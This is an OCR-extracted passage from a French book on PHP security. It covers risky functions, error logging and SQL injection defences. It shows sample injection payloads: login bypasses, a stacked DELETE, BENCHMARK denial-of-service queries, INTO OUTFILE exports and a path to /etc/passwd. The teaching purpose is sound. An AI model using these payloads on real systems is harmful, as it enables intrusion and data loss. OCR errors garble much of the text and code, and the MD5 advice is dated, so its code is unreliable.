cette maniére, assert() Serarendue automatiquement inopérante sur le serveur.

Idéalement, vous pourriez purement et simplement supprimer ces fonctions entre la phase
de développement et la phase de production. Si vous disposez d’un systéme de mise en
production, gjoutez donc un script qui analyse le code PHP publié et supprime toutes les
occurrencesdelafonction assert() : celasefait par une smple commande de remplacement,
c’est encore plus sr et cela permet de gagner en rapidité d’ exécution.

Interfaces externes

Les fonctions suivantes établissent les communications entre PHP et des systéme externes,
tels que le systéme d’ exploitation, le réseau, e serveur web, les bases de données ou encore
le serveur de courrier éectronique.

Connexion aux bases de données

Avec MySQL, cette connexion est assurée par les fonctions mysqli_connect(),
mysql_connect(), mysql_pconnect() €t $mysql->connect(). Si vous utilisez une autre base de
données, il existe un autre jeu de fonctions pour ouvrir I’ acces aux données: c'est ces
fonctions qu'il faut surveiller.
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mysqli_connect() assure la connexion au serveur MySQL. Elle permet d'accéder au
serveur local, mais dispose aussi des technol ogies nécessaires pour se connecter a distance.
Il est donc important de bien vérifier les valeurs qui sont utilisées avec cette fonction.

Notamment, demandez-vous s'il est possible de détourner e nom d’ héte de la connexion
pour établir cette derniére vers un site externe. Une foisla connexion établie avec le serveur,
il ne seraplus possible de faire la différence entre un serveur valide et un serveur distant.

Placez les informations de connexion dans une constante, de maniére a étre certain que
les valeurs sont bien les mémes a travers tout le script et ne risquent pas d’ étre altérées.

D’une maniére générale, les consells consacrés a cette fonction peuvent étre adaptés a
toutes les fonctions de connexion, comme imap_open(), pg_connect(), sqlite_open(),
mysql_connect (), €tc.

Exécution de commandes SQL

Avec MySQL, les commandes SQL sont prises en charge par mysqli_query(),
mysql_query(), mysqli_multi_query() €t mysql_execute(). Si vous utilisez une autre base de
données, il faudra surveiller les fonctions qui envoient les commandes au serveur.

mysqli_query() est lafonction qui exécute une requéte. Lorsgu’ elle est appel ée, larequéte
SQL est transmise au serveur pour y étre traitée. C'est donc un point de passage obligé
pour transmettre des commandes au serveur SQL. Avant de I’ utiliser, il convient donc
gue s assurer que lacommande a été bien construite.

Dans le cas de MySQL, il y a plusieurs techniques qui servent a neutraliser les valeurs
mani pul ées, de maniére a ce qu’ elles ne puissent pas perturber lacommande SQL : varia-
bles serveur, commandes préparées, procédures stockées (reportez-vous a la section sur
lesinjections SQL).

D’une maniére générale, les consells consacrés a cette fonction peuvent étre adaptés a
toutes les fonctions d’ exécution de commandes qui passent par une chaine de caractéres
pour construire lacommande, comme setrawcookie(), pg_connect(), sqlite_query(), €tC.

mail()

mail() est bien sOr lafonction par laquelle votre serveur devient un serveur de spam. Il est
donc particulierement important de la surveiller.

Il faut notamment éviter lesinjections d’ en-tétes et les utilisations abusives du formulaire.

Pour les injections d en-téte, étudiez comment les variables provenant de I’ utilisateur
sont utilisées dans la partie en-téte du courrier électronique. 1l faut éviter lesretours ala
ligne avec les caractéres \r et \n, qui introduisent de nouveaux en-tétes, ainsi que les
virgules, qui permettent d’ envoyer plusieurs informations en méme temps. Laissez bien
plusieurs lignes vides entre |les en-tétes et le corps du message.

Plutdt que d’ envoyer des messages au nom de votre visiteur, une bonne pratique consiste
aenvoyer des messages depuis votre site web et au nom de votre site. L’ utilisateur final
recoit alors un message qui dit, en substance: «un ami, M. XXX, a pensé que cette
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information vous intéresserait ». De cette maniére, |’ utilisateur final reconnait son ami,
ainsi que votre site, plutét que de croire que le message provient d’ une autre source.

Pensez & gjouter des en-tétes de courrier complémentaires, qui vous permettront de
remonter ala source du spam : IP de I’ utilisateur, URL du formulaire appelant, cookies,
user agent, date de la transaction, utilisation d’'un proxy, etc. Toutes ces informations
seront précieuses pour savoir comment votre serveur a été détourné de sa mission origi-
nale. Pour en savoir plus, reportez-vous a la section sur le détournement de sites web
pour en faire des serveurs de spam.

Appels systeme

L es appels systeme sont effectués par six fonctions et un opérateur : system(), passthru(),
exec(), shell_exec(), popen(), proc_open() €t les guillemets obliques ".

Ces six fonctions transmettent directement des chaines de caractéres au systéme
d’ exploitation pour exécution. Avec PHP, faire appel a un programme externe est rare,
mais ce ' est pas exceptionnel. Ces fonctions répondent & un besoin clair, mais, danstous
les cas, leur utilisation doit étre surveillée de trés prés. 1l faut notamment protéger les
arguments qui leur sont transmis al’ aide de des fonctions de protection escapeshellcmd()
€t escapeshellarg().

L utilisation de programmes externes a PHP est consommateur de ressources. |l faut
noter que ces consommations ne sont pas comptabilisés par PHP, ni en temps processeur,
ni en mémoire. Comme pour eval(), demandez-vous si vous ne pourriez pas fare la
méme chose en PHP. Dans la pratique, tachez de les éviter.

Si vousn' en avez pas besoin, pensez alesdésactiver al’ aidedeladirectivedisable_functions.

Acces aux fichiers distants

De nombreuses fonctions PHP sont capables d’ aler chercher des fichiers a distance, sans
étre spécifiquement des fonctions de réseau: fopen(), getimagesize(), file(),
file_get_contents() €t file_exists().

Ces cing fonctions ont la capacité d' accéder a des contenus distants, dés que la directive
allow_url_fopen est activée. Durant la lecture des contenus distants, PHP attend que les
données arrivent, puis il reprend son exécution. Si e serveur distant est lent ou méme
inaccessible, il faudra attendre que PHP dépasse les délais d’ attente maximale pour aban-
donner et reprendre son exécution. Cela peut occuper le serveur durant longtemps et
méme si cela ne consomme pas de ressources en termes de mémoire ou de processeur,
cela représente un processus complet en attente : durant ce temps, il ne sert pas d’ autres
clients. Comme le nombre de ces processus est limité, cela peut rapidement conduire a
un déni de service.

Il n'est pas possible de s assurer qu’ une ressource est disponible avant de tenter d'y accéder.
Cependant, vous pouvez multiplier lestests avant de lancer lalecture : vérifier quel’ URL
est bien structurée avec parse_ur1(), que le nom de domaine existe bien avec checkdnsrr().
Celadevrait vous permettre d’ écarter beaucoup de cas problématiques.
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Dans cet exercice, lamaxime a adopter est : « échouez le plustét possible », ¢’ est-a-dire
gue tout test qui vous permet d' annuler la lecture |e plus tét possible doit étre fait avant
de lancer le test final : lalecture elle-méme.

Ces cing fonctions sont aussi a surveiller quand elles utilisent des fichiers locaux. Il est
important de bien savoir quels fichiers seront ouverts. Pour cela, utilisez la fonction
realpath() avec le fichier et son chemin d’acces avant I’ ouverture : cela vous donne le
chemin réel qui sera utilisé et vous permet de détecter des accés aux dossiers interdits.

Par exemple, si vous construisez dynamiquement un chemin d'accés a un fichier et que
vous obtenez :

/home/./web/.././../etc/passwd.txt
alorsrealpath() vavous retourner :
/etc/passwd.txt

Celavaaussi résoudre les liens symboliques et tous les problémes d' encodages, al’ aide
de votre systeme.

Acceés aux variables d’environnement

ini_set(), ini_get(), getenv(), putenv() : ces quatre fonctions servent alire ou modifier
les directives de configuration de PHP et les variables d’ environnement du serveur. Leur
utilisation n’est pas synonyme de vulnérabilité, mais ¢’ est un point d’ entrée pour modi-
fier la configuration du serveur et en perturber le fonctionnement. Par exemple, avec
ini_set(), on peut lever lalimite de consommation de mémoire ou de processeur de PHP.
Il convient donc de surveiller les valeurs utilisées par ces fonctions.

Gestion des erreurs

Les messages d' erreur communiquent des informations sur I’ état de I’ application et les
problémes gqu’ elle rencontre. Ces messages sont clairement destinés aux dével oppeurs et
non pas aux pirates. |l faut savoir les maitriser, au lieu de les laisser s afficher par défaut
dans la page.

Exceptions ou messages traditionnels ?

Que vous utilisiez les messages d’ erreur traditionnels ou les exceptions, les aspects sécu-
rité sont les mémes. Durant I’ exécution d’un script, les messages d' erreur sont affichés
directement dans le script et les exceptions qui ne sont pas interceptées remontent
jusgu’ au script principal, ou elles sont finalement affichées dansle résultat : évidemment,
les exceptions qui sont interceptées, le sont proprement.

Affichage des erreurs par défaut

La directive la plus importante est display_errors, qui affiche ou non les messages
d erreur dans le résultat du script. Lameilleure chose afaire est de I’ activer sur les serveurs
de test et de la désactiver sur les serveurs de production.
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Il est possible de désactiver | affichage des erreurs depuis le script lui-méme, al’aide de
lafonction ini_set() :

ini_set('display_errors','off') ;

Cette technique est effectivement pratique, surtout si vous publiez une application web
qui sera exécutée sur une grande variété de configurations.

En revanche, il faut savoir que ini_set(), en tant que fonction native, ne sera exécutée
que lorsque PHP aura commencé a exécuter le script lui-méme. Or, il se passe beaucoup
de choses entre I'initialisation du script et le début de son exécution ; durant tout ce
temps, display_errors est toujours activée. Notamment, s'il y a des erreurs fatales,
comme une erreur d analyse, ou bien la violation d’ une autre directive, cela affichera
malgré tout cette erreur.

Danstousles cas, ¢’ est d§amieux querien.

Intercepter les erreurs

Par défaut, |es messages sont envoyés danslelog d’ erreur du serveur web et ¢’ est comme
cela que vous trouverez les messages d’ erreur PHP dans le fichier error_1og de votre
serveur web. Vous pouvez aussi spécifier la directive 10g pour diriger les messages
d erreur vers un autre fichier.

Il est recommandé de surveiller le fichier de log régulierement, car il devrait contenir les
erreurs produites par votre développement, mais aussi |es tentatives d’ attaque dont votre
serveur est victime.

Par exemple, si une erreur revient réguliérement, ou si un fichier, méme inexistant sur
votre application, est utilisé réguliérement dans une URL, alors c'est que des pirates
tentent de reconnaitre et de compromettre une application web sur votre serveur. Prenez
alorsles informations issues du log, comme le nom du fichier demandé ou les arguments
qui sont proposés et faites une recherche sur votre moteur de recherche favori. Si ce
probléme est lié a une vulnérabilité qui est souvent exploitée vous obtiendrez des infor-
mations complémentaires.

Récemment, le fichier /pm/1ib.inc.php est monté assez haut dans le classement des
pages 404 sur le site de nexen.net. |l n'y a pas de page qui porte ce nom dans le site et
aucun lien qui ne pointe sur cette page. En cherchant sur le Web, nous avons découvert
gue |’ application pMachine avait fait I’objet d’'une aerte de vulnérabilité. Nous ne la
connaissions pas, et si nous |’ avions utilisée, il aurait fallu laprotéger ou lamettre ajour.

Audit grace au niveau d’erreur

En plus de configurer lesfichiersdelog et I’ affichage al’ écran des messages d’ erreur, on
peut aussi configurer PHP pour qu'’il signale ou pas certaines erreurs, en fonction de leur
niveau. Il y a actuellement 13 niveaux d'erreur différents, mais seulement 5 qui nous
intéressent au niveau de la programmation PHP.
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* E_ERROR représente les erreurs fatales, celles qui sont suffisamment graves pour inter-
rompre PHP, comme un manque de mémoire ou de temps d exécution. A conserver
active.

* E_WARNING représente des erreurs non fatales, qui surviennent durant I’ exécution du
script. C'est le cas desfichiers qui n’ ont pas pu étre ouverts, ou d’ une ressource réseau
qui n’a pas pu étre rejointe, comme un serveur de base de données. Ces erreurs sont
souvent transitoires et difficiles aidentifier. A conserver activé.

* E_PARSE est une erreur d'analyse du script : le script ne démarre méme pas. C'est typi-
guement une erreur de développement, comme une coquille dans la syntaxe, ou un
nom de fonction qui N’ existe pas. Ces erreurs ne doivent jamais se produire en production.
A conserver activé.

* E_NOTICE Signale une aerte bénigne, comme I’ utilisation d’un index qui N’ existe pas, ou
I"incrémentation d' une variable qui n'a pas ééinitialisée. Ces alertes sont précieuses,
car elles identifient souvent des vulnérabilités. Les variables non initialisées sont en
effet un moyen classique pour détourner le fonctionnement d'un script. De plus, les
alertes de type E_NOTICE sont souvent transitoires ou contextuelles. 11 est donc important
deles corriger dés qu'’ elles apparai ssent.

* E_STRICT signale des erreurs de compatibilité entre les versions. Cela permet a PHP de
proposer des conseils pour améliorer | assistance technique des applications en fonction
delaversion et des fonctionnalités disponibles.

* Enfin, £_ALL affiche tous les niveaux d’ erreur combinés.

Il est recommandé de toujours travailler avec le niveau d’erreur £_ALL, car les alertes
signalent généralement un point d’entrée pour une vulnérabilité, ou bien une situation
qui n’est pas bien gérée par |’ application. |déalement, votrefichier delog d’ erreur devrait
étre vide, avec toutes les situations gérées. Au pire, il doit étre aussi petit que possible.






Partie 3

Risques lies
aux bases de données

De trés nombreuses applications web utilisent aujourd’ hui une base de données pour
stocker de nombreuses informations vitales. |l est évidemment nécessaire que ces
derniéres restent confidentielles et que personne ne puisse les modifier intempestivement.

Le chapitre 7 vous exposera les risgues liés a la manipulation des données et vous
donnerales moyens de lutter contre les injections SQL.

Le chapitre 8 sera plus particuliérement consacré & MySQL et insistera sur les regles
d’ acces, la gestion des droits et la configuration de ce SGBD.
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Vulnérabilités
des bases de données

L es applications web stockent généralement leurs données dans des bases car ces dernié-
res facilitent le traitement des informations et leur stockage. En 2000, indiquer qu’ une
application web utilisait telle ou telle base de données était un argument promotionnel.
Cen'est plus le cas aujourd’ hui ; le recours a une base de données pour une application
web va de soi. Les bases de données assurent e stockage permanent des informations et
laliaison avec de nombreux autres systémes grace a une interface standard. Par ailleurs,
elles sont compatibles avec le langage SQL qui permet de les manipuler. Elles représentent
donc un élément critique dans la sécurité de I’ application et des données en général .

Vue d’ensemble des risques associés aux bases de données

MySQL est sirement |e systéme de gestion de bases de données (SGBD) le plus souvent
associé a PHP pour les applications web, mais ce n’est pas le seul : PostGreSQL, Oracle,
Microsoft SQL server, IBM DB2 sont d' autres choix possibles et techniquement valables.
Toutes ces bases présentent des caractéres communs, notamment le langage SQL : cela
les expose a des problémes similaires de sécurité.

Un langage universel : SQL

Les bases de données servent a stocker et traiter les données avant de les publier. Avec leur
diffusion, un langage s est imposé, gréace asanorme : SQL (Simple Query Language).

Comme ce langage est maintenant universel ou quasiment, il faut savoir qu’ une astuce de
programmation ou un détournement de requéte valable sur un serveur a de bonnes chances
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deréussir sur un autre. Laméme chose s applique aux applicationsweb : s une application
utilise MySQL, on peut facilement utiliser une méme vulnérabilité d’ une plate-forme a
I"autre, que ce soit PHP, ASP, JSP, Perl ou n’importe quelle autre technol ogie. Quand une
nouvelle injection SQL est découverte dans une application web, il est toujours recom-
mandé de I’ é&udier pour voir s elle risque de contourner les protections de votre code.
D’ailleurs, les techniques de protection seront probablement les mémes. La pollinisation
croisée fonctionne aussi pour la sécurité.

Bien slr, SQL dispose de nombreuses variantes et chague éditeur s efforce de démontrer
gu'il est le seul arespecter les standards de la profession. En fait, aucun d’ entre eux n’ est
totalement compatible avec les standards, ni avec les autres serveurs. Chacun apporte
sa touche personnalisée qui le différencie des autres. La portabilité d'un serveur SQL a
I"autre n’ est pas encore parfaite.

En termes de sécurité, cela permet d’ écarter rapidement tous les problémes qui sont
spécifiques a un serveur.

Risques dans les manipulations de données

L es risques que courent vos données dans une base sont liés a des manipulations SQL.
Nousverrons un peu plusloin le concept d' injection qui permet de modifier dynamigquement
les requétes SQL . Présentons d’ abord les risques que courent vos requétes.

Contournement de clause WHERE

Cette manipulation consiste a modifier une clause WHERE. Comme il N’ est pas fréguent de
pouvoir supprimer toute une clause WHERE, le contournement se contente de la neutraliser
en injectant une condition constante : toujours vraie ou toujours fausse.

SELECT * FROM table WHERE 1

SELECT * FROM table WHERE 1 -- = 1 ; # utilisation de commentaires
SELECT * FROM table WHERE colonne = colonne OR 1 = 'constante' ;
SELECT * FROM table WHERE colonne = colonne OR 1 = 'constante' ;

Une fois la clause WHERE rendue stérile, la requéte donne acces a toutes les données.

Modifications sans limite

Application directe du risque précédent, les modifications sans limite sont un des pires
cauchemars pour le responsable des données : la plus fameuse étant bien slir la destruction
totale de données, avec |lacommande DELETE :

DELETE FROM table WHERE 1 ;

Toutes les données de la table sont détruites, sans moyen de revenir en arriere, ou d’ annuler.
Sans sauvegarde, point de salut.

Toutefois, le probleme est aussi délicat avec les commandes UPDATE sans limite. Imaginez
une table d' utilisateurs ; en contournant la clause WHERE, on peut forcer tous les mots de
passe alaméme valeur ;
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# utilisation normale dUPDATE

UPDATE user SET password=MD5(CONCAT('secret', 'nouveau')) WHERE login = 'utilisateur' ;
# utilisation détournée dUPDATE

UPDATE user SET password=MD5(CONCAT('secret', 'nouveau' )) WHERE Togin = login OR 1 = '1';

Sans la protection de la clause WHERE, C'est toute la table qui est modifiée, y compris le
compte administrateur de I’ application. Conséquence : aucun utilisateur ne peut plus se
connecter au serveur avec son mot de passe. Pour corriger e probleme, il faudra absolument
faire appel a un administrateur, puis a une sauvegarde. De plus, le pirate peut facilement
s'identifier a la place de n'importe quel utilisateur, dont il aura récupéré le nom avant
I’ attaque.

Insertions indésirables

Les insertions de données engendrent leur lot de désagréments. Par exemple, dans
I’instruction qui suit :

INSERT INTO user VALUES ('pirate',md5('secret’)), ('x',md5('valide’)) ;
et al’aide del’injection suivante :

pirate',md5('secret')), ('x

le pirate peut injecter une ligne compléte dans latable. A son insu, | application fait plus
gu'insérer une ligne : elle en insére deux, |’ une d’ entre elles contenant des valeurs dont
elle n’est pas maitre.

Exécutions multiples

Le serveur SQL exécute les commandes les unes apres les autres. Dans certaines condi-
tions, il est possible d’ exécuter plusieurs requétes al’aide d’' une seule commande. Il y a
deux solutions pour cela:

» Lessous-requétes utilisent dans une requéte principalelerésultat d’ une requéte secondaire,
qui exploite elle aussi des données de la table courante ou tierce. Les sous-requétes
permettent uniquement la lecture des données, pas leur manipulation avec UPDATE,
DELETE OU INSERT :

SELECT * FROM table WHERE id = (select benchmark(1000000000, md5(1))) ;

» Certaines interfaces avec MySQL autorisent I’exécution de plusieurs requétes dans
une seule demande d’ exécution. Par exemple, I'interface mysq1i propose la fonction
mysqli_multi_query(), qui permet d’ exécuter plusieurs requétes d’ un seul coup.

<?php
$1ink = mysqli_connect("localhost", "utilisateur", "mot_de_passe", "base");

[* Vérification de la connexion */

if (mysqli_connect_errno()) {
printf("Connexion échouée : %s\n", mysqli_connect_error());
exit();
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$query "SELECT CURRENT_USER();";
$query .= "SELECT Nom FROM Ville ORDER BY ID LIMIT 20, 5";

/* Exécution d'une requéte multiple */
if (mysqli_multi_query($1ink, $query)) {
do {
[* Stockage du premier résultat */
if ($result = mysqli_store_result($1ink)) {
while ($row = mysqli_fetch_row($result)) {
printf("%s\n", $row[0]);

}
mysqli_free_result($result);

}

I* Affichage d'une séparation */

if (mysqli_more_results($1ink)) {
printf("----------------- \n");

}

} while (mysqli_next_result($1ink));
}

/* Fermeture de la connexion */
mysqli_close($1ink);
¥

L'intérét ici est de pouvoir donner plusieurs commandes au serveur MySQL et de
commencer atraiter les résultats dés qu'ils arrivent dans PHP.

Du point de vue de la sécurité, ces fonctions sont dangereuses, car leur potentiel destructif
est bien supérieur acelui d’ une injection dans une requéte simple. En effet, uneinjection
qui arriverait a placer une autre requéte a la suite de la requéte initiale donnerait toute
latitude au pirate pour exécuter toutes les requétes qu’il souhaite, contrairement aux
injections classiques qui doivent composer avec le cadre d’' une requéte déjaen place:

<{?php
$GET['Nom'] = "'; DELETE FROM Villes; #";

$query = "SELECT Nom FROM Ville WHERE Nom = "*“.$_GET['Nom'].”" ORDER BY ID LIMIT 20, 5";
/* Exécution d'une requéte multiple */

if (mysqli_multi_query($Tink, $query)) {

// Traitement des résultats

}
7

Dans |’ exemple ci-dessus, I’injection SQL termine proprement larequéteinitialeal’ aide
d'un point-virgule, puis en initie une nouvelle. Cette deuxiéme requéte est alors totale-
ment libre, y compris au niveau de la commande. Le résidu de la requéte initiale est
caché dans un commentaire, ou bien laissé a1’ abandon : le serveur annoncera une erreur
al’application, maisil seratrop tard.
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C’ est pour cette raison que les fonctions traditionnelles n’ autorisent que I’ exécution dela
premiére requéte et jamais des requétes suivantes. Cela évite des injections SQL bien
plus désastreuses.

Surcharge du serveur

Elle consiste a modifier une requéte pour qu’ elle engendre une charge de travail impor-
tante et inutile au serveur : c’est une forme de déni de service. Cela se fait via des
requétes imbriquées, des jointures sans conditions, des unions ou encore la fonction
benchmark() de MySQL :

SELECT * FROM table CROSS JOIN table t2 ON 1 ; #auto-jointure
SELECT * FROM table UNION SELECT * FROM grande_table UNION SELECT * FROM autre_table ;
SELECT * FROM table WHERE id = (SELECT benchmark(1000000000, md5(1))) ;

Une foisunetelle requéte lancée, le serveur utilise beaucoup de ressources pour latraiter
et, par ricochet, ralentit le traitement des autres requétes, voire des autres systémes qui
partagent |e serveur. Ce qui finit par pénaliser I’ ensemble des utilisateurs.

Exportations cachées

Parmi les risques plus difficiles a identifier figurent les exportations de données qui
consistent a extraire les données de leur dépbt habituel, et a les placer dans un autre
réceptacle, public, ou plusfacile alire. Elles peuvent prendre trois voies :

L’ application web elle-méme, grace a un contournement de clause WHERE : si |’ application
est capable de gérer et d' afficher de longues listes de données, €lle ne sera pas surprise
de devoir afficher toute latable.

 Lesfichiers externes, écrits directement depuis le serveur SQL.
SELECT * FROM table INTO OUTFILE '/tmp/outfile.txt' ;

Lefichier est ensuite récupéré par un systéme complémentaire, ou bien placé dans la
racine web, ce qui e rend directement téléchargeable.

» Lesautres tables, ou les tables temporaires : les données sont recopiées d’ une table a
I"autre, et si la deuxiéme table est moins bien sécurisée, elles seront rapidement
exportée du server.

INSERT INTO autre_table SELECT * FROM premiere_table;
CREATE table_publique SELECT * FROM table_privee;

Les exportations sont difficiles a identifier, d'une part parce qu’elles perturbent peu le
fonctionnement du systéme dans son ensembl e, d' autre part parce que le pirate laisse peu
detraces. Dans certains domaines, comme la banque ou lamédecine, lasimplelecture de
données confidentielles est critique pour les affaires. C'est donc un risque important que
peut courir une application en ligne, qui est directement al’interface avec les utilisateurs
et les pirates.
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Stockage permanent

La capacité de stockage permanent des serveurs SQL est un dernier risgue a prendre en
compte. Contrairement a un script PHP qui se termine a la fin d’'une requéte HTTPR, le
serveur SQL assure le stockage des données entre deux transactions.

Ainsi, des données corrompues insérées dans une base de données seront a nouveau
disponibles et publiées ultérieurement : parfois, cela survient longtemps apres|’insertion
dans la base ; le plus souvent rapidement apres. Par exemple, en stockant une XSS dans
une base de données, cette derniére pourra étre publiée, ou hien servie au webmestre
lorsqu’il tentera de la modérer.

La permanence du stockage devient un probléme quand elle se transforme en un vecteur
de propagation de I’ attagque. 11 faut bien comprendre qu’ une vulnérabilité d’ une applica
tion web peut affecter I’ une des technologies utilisées, mais pas les autres.

Injections SQL

Lesinjections SQL font partie des vulnérabilités |es plus courantes dans | es applications
web. Si les données en provenance del’ internaute ne sont pas protégées avant d’ étre insé-
rées dans la commande SQL, il devient possible de modifier considérablement le
comportement de la requéte.

Exemples d’injections SQL

Les injections SQL prennent naissance dans la construction dynamique de la requéte, a
I’aide d' une chaine de caractéres : dans cette chaine, des données de différentes natures sont
mélangées avant d’ étre présentées ala base de données pour qu'’ elle traite la commande.

Exemple d’introduction

Prenons un exemple d’injection. Imaginez un formulaire d’identification : il s'agit d’ une
simple page web, qui demande un nom d’ utilisateur et le mot de passe associé. Cesinfor-
mations sont ensuite transmises a la base de données pour étre comparées avec les listes
d informations des membres du site.

Leformulairefournit deux variables, appelées nom et passe. Nous supposons qu’ €lles sont
utilisées directement dans la requéte SQL, sans protection, comme ceci :

<{?php

$requete = "SELECT count(*) FROM utilisateurs
WHERE Togin = "".$_POST['Nom']."" AND
password="".$_POST['passe']."" "

// reste du script d'identification

k>
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Pour réaliser I'injection SQL, il suffit de modifier I’ une ou I’ autre des variables d’ entrée
du script pour que la requéte change de comportement. Par exemple, nous pouvons utili-
ser lavariable passe comme ceci :

$_POST['passe']l =" "or 1 ="1";
Larequéte SQL devient alors :

<?php

$requete = "SELECT COUNT(*) FROM utilisateurs
WHERE Togin = 'utilisateur' AND
password='"'or 1 = '1" ";

(o

La condition qui utilise le mot de passe devient toujours vraie, puisque la deuxiéme
partie de la condition or est toujours vraie. Par conséquent, il suffit que la premiére partie
de la requéte soit vraie pour que la clause WHERE réussisse a tous les coups. Il n'y a plus
besoin de chercher un mot de passe, mais un nom d’ utilisateur. Ces derniers sont généra-
lement faciles atrouver ou a deviner.

Ainsi, pour agrandir encore un peu lafaille, nous pouvons aussi utiliser lapremiére partie
delarequéte:

$_POST['Nom] = " admin';-- " ;
qui devient alors:

$requete = "SELECT count(*) from utilisateurs
WHERE login = "admin'; -- ' AND
password=""");

Non seulement nous avons pu nous identifier, mais nous sommes méme reconnus comme
I’administrateur du systéme et nous avons pu passer sans fournir aucun mot de passe.

Comment PHP vend la méche

A premiére vue, cetype d’injection peut sembler difficile aidentifier. Pourtant, il suffit de
peu de temps a un pirate pour comprendre comment contourner le code. En procédant
par expérimentations, on obtient facilement beaucoup d’'informations. Par exemple, en
placant simplement un guillemet dans la variable nom, on pourrait obtenir rapidement des
informations de configuration de I’ application web :

$_POST['Nom'] = " '" ;
$requete = "SELECT count(*) FROM utilisateurs

WHERE Togin = ''" AND
password='" or 1 ");

Les trois guillemets conduisent a une erreur de syntaxe SQL. Or, les erreurs SQL sont
souvent affichées dans le script comme ceci :

echo mysqli_error($mid) ;
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On vadonc obtenir un message d' aerte tel que celui-ci :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '''' and Password='passe’

Rien qu'avec ce test simple, on sait déja qu'il y a une injection SQL possible, et on
connait aussi le nom de la deuxieme colonne impliquée danslarequéte. Il nereste plusqu’a
exploiter cette vulnérabilité. N’ oubliez jamais qu’ un pirate a tout son temps devant lui.

Exemples avanceés
Voici quelques autres injections possibles:
mysq1> SELECT * FROM TABLE WHERE id = (SELECT BENCHMARK(10000000,ENCODE( abc','123")));

Cette injection réalise un déni de service, ol le serveur va étre fortement ralenti par des
requétes lentes et inutiles.

Sous Microsoft SQL, on trouve lafonction EXEC, qui est la cousine de lafonction eval()
de PHP : elle permet d’ exécuter du code SQL, stocké sur e serveur sous forme de chaine.
L es dangers inhérents sont les mémes :

DECLARE @requete varchar(500) SET @requete = 'SELECT Togin FROM utilisateurs WHERE
=7Jogin = """ + @login + """’

EXEC(@requete)

END

Avec :

1' or '"1'='1"; # maintenant, une autre injection!

Comment bloquer les injections SQL

Il existe une stratégie générale de défense contre les injections, qu’ elles soient SQL ou
autre : il s'agit de lavalidation des données en entrée et de la protection en sortie.

Dans les exemples présentés précédemment, le script a omis de faire les deux : les
données d’ entrée, dans la variable $_posT, sont utilisées sans étre validées, alors qu’elles
devraient |’ étre dés le début du script.

Il en va de méme pour les données de sortie: elles sont utilisées dans la requéte sans
avoir été rendues neutres pour le langage SQL.

De manieére tactique, il existe plusieurs techniques pour neutraliser les variables qui
entrent dans la composition d' une requéte SQL.

Assurer la protection des valeurs SQL

La protection des valeurs, appelée aussi échappement par anglicisme, est la premiere
tactique. Elle est universellement disponible, méme avec de vieilles versions de PHP.

Au lieu d'utiliser la valeur de $_posT directement dans la commande, on la passe a la
fonction mysqli_real_escape_string(), qui neutralise tous les caractéres susceptibles de
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perturber le fonctionnement d’ une requéte, en gjoutant une barre oblique inverse juste
devant ces caracteres.

$_POST ['passe'] =" " or (1) = '1 "
$mysql_passe = mysqli_real_escape_string($mid, $_POST['passe'l) ;

Aprés ce traitement, $mysq1_passe contient ceci :
\'or (1) = \'l

Les guillemets sont désormais précédés de barres obliques inverses: on dit qu’ils sont
« neutralisés ». Leur valeur SQL est maintenant la méme que leur valeur littérale. 11s ont
perdu la signification spéciale que leur confére le langage SQL.

Toutefois, pour bien assurer la neutralisation de I’ ensemble, il faut que la chaine fournie
soit placée entre guillemets dans larequéte. Lestypes de guillemets, qu’ils soient simples
ou doubles, n’ont pas d’'importance, car mysqli_real_escape_string() Sait aussi neutrali-
ser les guillemets doubles.

Cependant, notez que les parenthéses n'ont pas été protégées. Elles introduisent une
sous-sélection et peuvent conduire a un déni de service. Toutefois, si les guillemets ont
bien été neutralisés, elles garderont leur valeur littérale et ne poseront pas de probléme. |1 est
donc important de bien utiliser les guillemets d’ encadrement dans toutes les requétes SQL.

Or, en SQL, il est possible d éviter les guillemets lorsqu’on manipule des nombres.
Comme lafonction mysq1i_real_escape_string() laisse passer les parenthéses, on retrouve
une vulnérabilité par injection de sous-requéte.

Si vous devez manipuler des nombres dans une requéte, il est recommandé de forcer le
type a un format numérique dans PHP, avec + 0, ou bien avec MySQL, en laissant les
guillemets et en gjoutant + 0 dans larequéte :

<?php
$_POST['id'] =" " or (1) = '1 " +0 ;
$requete = "SELECT COUNT(*) FROM utilisateurs
WHERE id = "".
mysqli_real_escape_string($mid, $_POST['id'1)."" + 0 "
(D2

En utilisant ce principe de transtypage forcé, voici une astuce pour les mots de passe, ou
les valeurs de hashage en général. Les mots de passe ne doivent jamais étre stockés en
clair ; ils sont toujours signés avec une fonction de hashage, comme MD5 ou SHA. Ces
deux fonctions, disponibles simultanément en PHP et MySQL, produisent des chaines de
caractéres qui ne contiennent que des chiffres et les lettres alant de A aF. Aucun de ces
caractéres n'a de signification particuliére en SQL, ce qui permet de les utiliser en toute
sécurité.

Ainsi, avant de rechercher une correspondance de mot de passe, il est recommandé dele
passer a MD5 (ou équivalent), afin d’ obtenir une valeur sécurisée pour le serveur SQL.
De cette maniére, vos utilisateurs pourront utiliser les caractéres qu'ils souhaitent dans leur
mot de passe, et vous ne compromettrez pas la séeurité de votre systeme d' identification.
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<?php
$passe = md5('sel’. $_POST['passe'].'poivre');
/1 $passe vaut d7b72c8f5eaabdddard9beb25417a698 ou similaire
$requete = "SELECT COUNT(*) FROM utilisateurs
WHERE Togin = '"
mysqli_real_escape_string($mid, $_POST ['id'])
' AND password = '$passe'";
k>

Pourquoi faut-il éviter addslashes() ?

Il est courant de voir lafonction adds1ashes() utilisée pour mettre en place la protection
des valeurs qui seront introduites dans une requéte SQL. En fait, ¢'est exactement la
fonction qui est utilisée par magic_quotes_gpc.

Cette fonction gjoute des barres obliques inverses devant les caractéres apostrophe ',
guillemet ", NUL \o et barre oblique inverse \.

La sécurisation de ces caractéres est primordiale pour protéger une requéte SQL contre
lesinjections, mais elle n’ est pas suffisante. Parmi leslimitations de adds1ashes (), on peut
noter qu'’ elle ne protége pas tous les caractéres, comme les parenthéses (), _ (souligné, ou
underscore) et le signe %, pourcentage. De plus, elle ne prend pas en compte les jeux de
caractéres utilisés par la base de données, ce qui limite considérablement son utilité.

Certes, addslashes() vaut mieux que pas de protection du tout. Cependant, €lle doit é&re
remplacée par les fonctions de protection adaptées aux technologies qui sont utilisées.
MySQL et PostGreSQL proposent leurs fonctions particuliéres, mysqli_real_escape_string()
et pg_escape_string().

Clause LIKE et addcslashes()

L es caractéres spéciaux a surveiller ne se limitent pas aux séparateurs de chaines ' et .
Il faut aussi surveiller les caractéres jokers utilisés dans les expressions de recherche. 11 y
anotamment les caractéres souligné _ et pourcentage %.

